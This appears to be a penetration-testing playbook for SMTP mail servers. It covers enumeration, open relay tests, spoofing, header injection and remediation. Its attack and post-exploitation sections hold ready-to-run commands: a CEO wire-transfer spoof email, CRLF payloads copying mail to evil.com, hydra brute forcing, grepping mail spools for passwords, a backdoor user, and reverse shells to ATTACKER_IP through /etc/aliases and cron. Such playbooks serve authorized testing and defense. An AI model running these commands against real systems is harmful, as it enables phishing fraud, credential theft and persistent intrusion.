

SMTP Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (SMTP service)

Service: SMTP (Simple Mail Transfer Protocol) — Default ports **25** (SMTP), **465** (SMTPS), **587** (Submission)

Date: 2025-10-25

1. Executive Summary

This report provides a comprehensive, hands-on penetration testing playbook for SMTP/Email infrastructure. It covers connection methods, reconnaissance, enumeration, attack vectors (open relay, user enumeration, spoofing, injection), post-exploitation (mail harvesting, queue manipulation, persistence), evidence collection, and remediation. The goal is to give pentesters a repeatable methodology and defenders concrete remediation steps.

Key takeaways:

- Misconfigured SMTP servers (open relay, VRFY/EXPN enabled, no TLS) enable spam, phishing, and user enumeration.
 - Weak authentication and verbose responses aid attackers in credential theft and enumeration.
 - Mail server access can yield sensitive data, enabling lateral movement and persistent access.
-

2. Rules of Engagement & Legal

- **Authorization:** Only test systems with explicit written permission. Define allowed domains/IPs, techniques (e.g., VRFY, RCPT probing), and limits on sending/spam tests.
- **Non-destructive testing:** Avoid sending mass unsolicited emails or destructive mailbox actions unless authorized.

- **Privacy & handling:** Treat captured emails and credentials as highly sensitive data; encrypt and protect evidence.

Pre-test checklist:

- Signed authorization and scope document.
 - Approved test accounts and rate limits.
 - Emergency contact and kill-switch.
-

3. Connecting to SMTP Servers

3.1 Using Telnet

```
# Connect to SMTP on port 25
telnet target.com 25

# Example SMTP session
EHLO attacker.com
MAIL FROM:<sender@attacker.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Test message
.
QUIT
```

3.2 Using Netcat & OpenSSL

```
# Plain TCP
nc target.com 25

# With SSL/TLS (SMTPS port 465)
openssl s_client -connect target.com:465 -crlf -quiet
```

3.3 Using swaks (SMTP Swiss Army Knife)

```
# Simple send\ nswaks --to victim@target.com --from sender@attacker.com -  
-server target.com
```

```
# With auth
```

```
swaks --to victim@target.com --from user@target.com --auth-user user@tar  
get.com --auth-password password --server target.com
```

```
# With attachment
```

```
swaks --to victim@target.com --from sender@attacker.com --attach /path/to/  
file.pdf --server target.com
```

3.4 Using sendmail

```
sendmail -f sender@attacker.com -t victim@target.com -u "Subject" -m "Me  
ssage body" -s target.com:25
```

```
# With auth
```

```
sendmail -f user@target.com -t victim@target.com -u "Subject" -m "Messag  
e" -s target.com:587 -xu user@target.com -xp password
```

4. Reconnaissance

4.1 Service Discovery (Nmap)

```
# Scan SMTP-related ports  
nmap -p 25,465,587 target.com
```

```
# Service detection
```

```
nmap -sV -p 25,465,587 target.com
```

4.2 Banner Grabbing & Capabilities

```
# Simple banner
nc target.com 25
# EHLO to view capabilities
echo -e "EHLO test.example.com\r\n" | nc target.com 25

# Nmap script to enumerate SMTP commands
nmap -p 25 --script smtp-commands target.com
```

4.3 MX, SPF, DKIM, DMARC Discovery

```
# MX records
dig +short MX target.com

# SPF record
dig +short TXT target.com | grep "v=spf1"

# DMARC
dig +short TXT _dmarc.target.com

# DKIM: check selector TXT record
# e.g., dig selector._domainkey.target.com TXT
```

5. Enumeration

5.1 Command & User Enumeration

```
# VRFY
# via telnet
VRFY admin
VRFY root

# EXPN
EXPN listname
```

```
# RCPT probing (test existence)
MAIL FROM:<test@example.com>
RCPT TO:<user@target.com>
# 250 = exists, 550 = no such user

# smtp-user-enum
smtp-user-enum -M VRFY -U users.txt -t target.com
smtp-user-enum -M RCPT -U users.txt -t target.com -f sender@example.com
```

5.2 NTLM & AUTH Enumeration

```
# Nmap NSE scripts
nmap -p 25 --script smtp-ntlm-info target.com
nmap -p 25 --script smtp-enum-users target.com
```

6. Attack Vectors

6.1 Open Relay Testing

```
# Manual open relay test via telnet
# Try to forward from external to external
MAIL FROM:<external1@example.com>
RCPT TO:<external2@anotherdomain.com>
DATA
Test
.

# Nmap script
nmap -p 25 --script smtp-open-relay target.com

# swaks test
```

```
swaks --to external@domain.com --from external@otherdomain.com --server
target.com
```

Impact: Spamming, reputation damage, blacklisting.

6.2 Email Spoofing & Phishing

```
# Simple spoof via telnet
EHLO attacker.com
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
To: employee@target.com
Subject: Urgent: Wire Transfer

Please transfer $50,000...
.
QUIT
```

Mitigations: SPF/DKIM/DMARC, TLS, and MTA restrictions.

6.3 SMTP Injection / CRLF Injection

```
# Example injection via form input
Email: victim@target.com%0ACc:attacker@evil.com
Email: victim@target.com%0AFrom:admin@target.com

# CRLF in subject
Subject: Test%0D%0ACc:attacker@evil.com
```

Impact: Header manipulation, spam relay, phishing.

6.4 Brute Force Authentication

```
# Hydra
hydra -l user@target.com -P passwords.txt smtp://target.com:587
hydra -L users.txt -P passwords.txt smtp://target.com:587

# Metasploit smtp enum
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS target.com
run
```

6.5 Mail Queue Manipulation & Interception

```
# On compromised server (authorized only)
mailq
postcat -q QUEUE_ID
postsuper -d QUEUE_ID
postsuper -d ALL
postfix flush
```

Impact: Intercept, delete, or modify outgoing/incoming mail.

7. Post-Exploitation

7.1 Email Harvesting

```
# Read mail spools (if access)
cat /var/mail/username
cat /var/spool/mail/username
ls -la /home/*/Maildir/cur/

# Extract emails
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' /var/mail/
*
```

7.2 Data Exfiltration

```
# Search for sensitive info
grep -r -i "password\|secret\|confidential" /var/mail/

# Extract attachments
find /var/mail/ -name "*.pdf" -o -name "*.docx" -o -name "*.xls"
```

7.3 Persistence

```
# Create backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd

# Mail alias backdoor (dangerous — authorized only)
echo "backdoor: |/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/aliases
newaliases

# Cron persistence
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" | crontab -
```

Note: Persistence and mailbox manipulation require explicit authorization and careful handling.

8. Detection & Evidence Collection

8.1 Evidence to Collect

- SMTP session transcripts with timestamps.
- Nmap script outputs (smtp-commands, smtp-enum-users, smtp-open-relay).
- MX, SPF, DKIM, DMARC DNS records.
- Mail queue entries and message headers from `postcat`.

- Extracted mail samples (sanitized) and attachment hashes.

8.2 Example Evidence Commands

```
date --iso-8601=seconds
# Banner capture
echo -e "EHLO test.example.com\r\n" | nc target.com 25 > evidence_ehlo.txt

# Nmap evidence
nmap -p 25 --script "smtp-*" target.com -oN evidence_nmap_smtp.txt

# MX/SPF/DMARC
dig +short MX target.com > evidence_mx.txt
dig +short TXT target.com | grep "v=spf1" > evidence_spf.txt
dig +short TXT _dmarc.target.com > evidence_dmarc.txt

# postcat example (on-compromise)
postcat -q QUEUE_ID > evidence_postcat_QUEUE_ID.txt
```

9. Risk Assessment & Severity Guidance

- **Critical:** Open relay or arbitrary mail injection leading to mass phishing or spam, and compromised mail stores containing PII/credentials.
- **High:** VRFY/EXPN allowed allowing user enumeration, weak/no TLS for submission and relay.
- **Medium:** Missing SPF/DKIM/DMARC increasing spoofing likelihood; verbose error codes.
- **Low:** Version/banner disclosure only.

10. Remediation & Hardening Recommendations

Immediate actions:

- Disable open relay — restrict relaying to authenticated or internal IPs.

- Disable VRFY/EXPN where not required.
- Enforce STARTTLS/TLS for submission and relay where possible.
- Implement and enforce SPF, DKIM, and DMARC for all sending domains.
- Rate-limit SMTP connections and enable monitoring/alerts for abnormal sending patterns.

Strategic:

- Use strong authentication mechanisms (OAuth2, STARTTLS with client certs where needed).
- Monitor mail queues and set alerts for high-volume outgoing mail.
- Regularly patch MTA software and review MTA configs for header injection vulnerabilities.
- Conduct phishing resilience training and simulate phishing exercises.

11. Tools & Quick Command Reference

Tools: `telnet` , `nc` , `openssl s_client` , `swaks` , `sendmail` , `smtp-user-enum` , `nmap` , `hydra` , `metasploit` , `postfix/postcat/postsuper` , `grep` , `find` .

Quick commands:

```
# Scan
nmap -p 25,465,587 target.com

# EHLO banner
echo -e "EHLO test.example.com\r\n" | nc target.com 25

# MX and records
dig +short MX target.com
dig +short TXT target.com | grep "v=spf1"
dig +short TXT _dmarc.target.com

# User enumeration
smtp-user-enum -M VRFY -U users.txt -t target.com
```

```
smtp-user-enum -M RCPT -U users.txt -t target.com -f sender@example.com
```

```
# Open relay check
```

```
nmap -p 25 --script smtp-open-relay target.com
```

```
# Brute force auth
```

```
hydra -L users.txt -P passwords.txt smtp://target.com:587
```

12. Practical Testing Checklist

1. Confirm authorization & scope.
2. Enumerate MX and MTA hosts, capture banners and EHLO responses.
3. Check for VRFY/EXPN and test RCPT probing with safe sender addresses.
4. Test for open relay (low-volume, authorized tests).
5. Validate SPF/DKIM/DMARC and TLS availability.
6. If authorized, test authentication brute-force with rate limits.
7. Inspect mail queues only on systems where you have explicit access.
8. Collect evidence, produce findings, and retest after remediation.

13. Reporting Snippets & Examples

Sample finding:

- **Title:** Open SMTP relay allowed
- **Severity:** Critical
- **Affected Host:** mail.target.com (X.X.X.X)
- **Finding:** MTA accepted external-to-external relay requests. The server can be abused for spam and phishing.
- **Proof:** telnet session transcript and nmap smtp-open-relay output attached.
- **Impact:** Reputation damage, blacklisting, and potential phishing campaigns.

- **Recommendation:** Restrict relaying to authenticated users and internal networks; implement rate limits and monitoring.

Quick executive note:

SMTP server mail.target.com permitted unauthenticated relaying. Immediate remediation is required to prevent abuse.
